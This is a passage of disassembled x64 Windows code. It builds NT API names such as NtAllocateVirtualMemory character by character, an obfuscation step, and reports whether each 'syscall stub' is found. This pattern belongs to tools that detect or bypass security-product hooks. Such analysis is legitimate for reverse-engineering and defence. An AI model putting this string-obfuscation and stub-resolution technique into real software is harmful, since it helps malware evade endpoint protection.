lea rax, [rbp + 0x3be0]
lea rdx, [rbp + 0x3c00]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3bc0]
lea rdx, [rbp + 0x3be0]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3ba0]
lea rdx, [rbp + 0x3bc0]
lea r8, [0x1400c3577]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3b80]
lea rdx, [rbp + 0x3ba0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3b60]
lea rdx, [rbp + 0x3b80]
lea r8, [0x1400c35bb]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3b40]
lea rdx, [rbp + 0x3b60]
lea r8, [0x1400c35bb]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x3b40]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x3b40]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3b60]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3b80]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3ba0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3bc0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3be0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3c00]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3c20]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3c40]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3c60]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3c80]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3ca0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3cc0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3cef]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3cf0]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3cf0]
mov rcx, qword [rbp + 0x5320]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3cf0]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x140006f34
lea rbx, [0x1400c358b]
jmp 0x140006f3b
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3f1f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x3f1f]
lea rax, [rbp + 0x3ef0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x3ed0]
lea rdx, [rbp + 0x3ef0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3eb0]
lea rdx, [rbp + 0x3ed0]
lea r8, [0x1400c35cb]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3e90]
lea rdx, [rbp + 0x3eb0]
lea r8, [0x1400c3583]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3e70]
lea rdx, [rbp + 0x3e90]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3e50]
lea rdx, [rbp + 0x3e70]
lea r8, [0x1400c3583]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3e30]
lea rdx, [rbp + 0x3e50]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3e10]
lea rdx, [rbp + 0x3e30]
lea r8, [0x1400c3571]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3df0]
lea rdx, [rbp + 0x3e10]
lea r8, [0x1400c35d1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3dd0]
lea rdx, [rbp + 0x3df0]
lea r8, [0x1400c3577]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3db0]
lea rdx, [rbp + 0x3dd0]
lea r8, [0x1400c35af]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3d90]
lea rdx, [rbp + 0x3db0]
lea r8, [0x1400c35b1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3d70]
lea rdx, [rbp + 0x3d90]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3d50]
lea rdx, [rbp + 0x3d70]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3d30]
lea rdx, [rbp + 0x3d50]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3d10]
lea rdx, [rbp + 0x3d30]
lea r8, [0x1400c35b3]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x3d10]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x3d10]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3d30]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3d50]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3d70]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3d90]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3db0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3dd0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3df0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3e10]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3e30]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3e50]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3e70]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3e90]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3eb0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3ed0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3ef0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3f1f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3f20]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3f20]
mov rcx, qword [rbp + 0x5318]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3f20]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x1400072cf
lea rbx, [0x1400c358b]
jmp 0x1400072d6
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x41af]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x41af]
lea rax, [rbp + 0x4180]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x4160]
lea rdx, [rbp + 0x4180]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4140]
lea rdx, [rbp + 0x4160]
lea r8, [0x1400c3571]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4120]
lea rdx, [rbp + 0x4140]
lea r8, [0x1400c3573]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4100]
lea rdx, [rbp + 0x4120]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x40e0]
lea rdx, [rbp + 0x4100]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x40c0]
lea rdx, [rbp + 0x40e0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x40a0]
lea rdx, [rbp + 0x40c0]
lea r8, [0x1400c35b9]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4080]
lea rdx, [rbp + 0x40a0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4060]
lea rdx, [rbp + 0x4080]
lea r8, [0x1400c35bb]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4040]
lea rdx, [rbp + 0x4060]
lea r8, [0x1400c3583]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4020]
lea rdx, [rbp + 0x4040]
lea r8, [0x1400c3587]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4000]
lea rdx, [rbp + 0x4020]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3fe0]
lea rdx, [rbp + 0x4000]
lea r8, [0x1400c35af]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3fc0]
lea rdx, [rbp + 0x3fe0]
lea r8, [0x1400c35b1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3fa0]
lea rdx, [rbp + 0x3fc0]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3f80]
lea rdx, [rbp + 0x3fa0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3f60]
lea rdx, [rbp + 0x3f80]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3f40]
lea rdx, [rbp + 0x3f60]
lea r8, [0x1400c35b3]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x3f40]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x3f40]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3f60]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3f80]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3fa0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3fc0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3fe0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4000]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4020]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4040]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4060]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4080]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x40a0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x40c0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x40e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4100]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4120]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4140]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4160]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4180]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x41af]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x41b0]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x41b0]
mov rcx, qword [rbp + 0x5310]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x41b0]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x1400076ee
lea rbx, [0x1400c358b]
jmp 0x1400076f5
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x441f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x441f]
lea rax, [rbp + 0x43f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x43d0]
lea rdx, [rbp + 0x43f0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x43b0]
lea rdx, [rbp + 0x43d0]
lea r8, [0x1400c35d3]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4390]
lea rdx, [rbp + 0x43b0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4370]
lea rdx, [rbp + 0x4390]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4350]
lea rdx, [rbp + 0x4370]
lea r8, [0x1400c35ad]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4330]
lea rdx, [rbp + 0x4350]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4310]
lea rdx, [rbp + 0x4330]
lea r8, [0x1400c35c1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x42f0]
lea rdx, [rbp + 0x4310]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x42d0]
lea rdx, [rbp + 0x42f0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x42b0]
lea rdx, [rbp + 0x42d0]
lea r8, [0x1400c35b7]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4290]
lea rdx, [rbp + 0x42b0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4270]
lea rdx, [rbp + 0x4290]
lea r8, [0x1400c35af]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4250]
lea rdx, [rbp + 0x4270]
lea r8, [0x1400c35b1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4230]
lea rdx, [rbp + 0x4250]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4210]
lea rdx, [rbp + 0x4230]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x41f0]
lea rdx, [rbp + 0x4210]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x41d0]
lea rdx, [rbp + 0x41f0]
lea r8, [0x1400c35b3]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x41d0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x41d0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x41f0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4210]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4230]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4250]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4270]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4290]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x42b0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x42d0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x42f0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4310]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4330]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4350]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4370]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4390]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x43b0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x43d0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x43f0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x441f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4420]
mov rcx, qword [rbp + 0x5308]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x140007ae1
lea rbx, [0x1400c358b]
jmp 0x140007ae8
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x468f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x468f]
lea rax, [rbp + 0x4660]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x4640]
lea rdx, [rbp + 0x4660]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4620]
lea rdx, [rbp + 0x4640]
lea r8, [0x1400c35bf]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4600]
lea rdx, [rbp + 0x4620]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x45e0]
lea rdx, [rbp + 0x4600]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x45c0]
lea rdx, [rbp + 0x45e0]
lea r8, [0x1400c35ad]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x45a0]
lea rdx, [rbp + 0x45c0]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4580]
lea rdx, [rbp + 0x45a0]
lea r8, [0x1400c35c1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4560]
lea rdx, [rbp + 0x4580]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4540]
lea rdx, [rbp + 0x4560]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4520]
lea rdx, [rbp + 0x4540]
lea r8, [0x1400c35b7]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4500]
lea rdx, [rbp + 0x4520]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x44e0]
lea rdx, [rbp + 0x4500]
lea r8, [0x1400c35af]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x44c0]
lea rdx, [rbp + 0x44e0]
lea r8, [0x1400c35b1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x44a0]
lea rdx, [rbp + 0x44c0]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4480]
lea rdx, [rbp + 0x44a0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4460]
lea rdx, [rbp + 0x4480]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4440]
lea rdx, [rbp + 0x4460]
lea r8, [0x1400c35b3]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x4440]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x4440]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4460]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4480]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x44a0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x44c0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x44e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4500]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4520]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4540]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4560]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4580]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x45a0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x45c0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x45e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4600]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4620]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4640]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4660]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x468f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4690]
mov rcx, qword [rbp + 0x5300]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x140007ed4
lea rbx, [0x1400c358b]
jmp 0x140007edb
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x48bf]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x48bf]
lea rax, [rbp + 0x4890]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x4870]
lea rdx, [rbp + 0x4890]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4850]
lea rdx, [rbp + 0x4870]
lea r8, [0x1400c35d5]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4830]
lea rdx, [rbp + 0x4850]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4810]
lea rdx, [rbp + 0x4830]
lea r8, [0x1400c3573]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x47f0]
lea rdx, [rbp + 0x4810]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x47d0]
lea rdx, [rbp + 0x47f0]
lea r8, [0x1400c3589]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x47b0]
lea rdx, [rbp + 0x47d0]
lea r8, [0x1400c35b5]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4790]
lea rdx, [rbp + 0x47b0]
lea r8, [0x1400c35b7]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4770]
lea rdx, [rbp + 0x4790]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4750]
lea rdx, [rbp + 0x4770]
lea r8, [0x1400c3577]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4730]
lea rdx, [rbp + 0x4750]
lea r8, [0x1400c3583]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4710]
lea rdx, [rbp + 0x4730]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x46f0]
lea rdx, [rbp + 0x4710]
lea r8, [0x1400c357f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x46d0]
lea rdx, [rbp + 0x46f0]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x46b0]
lea rdx, [rbp + 0x46d0]
lea r8, [0x1400c35c1]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x46b0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x46b0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x46d0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x46f0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4710]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4730]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4750]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4770]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4790]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x47b0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x47d0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x47f0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4810]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4830]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4850]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4870]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4890]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x48bf]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x48c0]
mov rcx, qword [rbp + 0x52f8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x14000826f
lea rbx, [0x1400c358b]
jmp 0x140008276
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x4a8f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x4a8f]
lea rax, [rbp + 0x4a60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x4a40]
lea rdx, [rbp + 0x4a60]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4a20]
lea rdx, [rbp + 0x4a40]
lea r8, [0x1400c35c5]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4a00]
lea rdx, [rbp + 0x4a20]
lea r8, [0x1400c35d1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x49e0]
lea rdx, [rbp + 0x4a00]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x49c0]
lea rdx, [rbp + 0x49e0]
lea r8, [0x1400c35c1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x49a0]
lea rdx, [rbp + 0x49c0]
lea r8, [0x1400c35bf]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4980]
lea rdx, [rbp + 0x49a0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4960]
lea rdx, [rbp + 0x4980]
lea r8, [0x1400c3577]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4940]
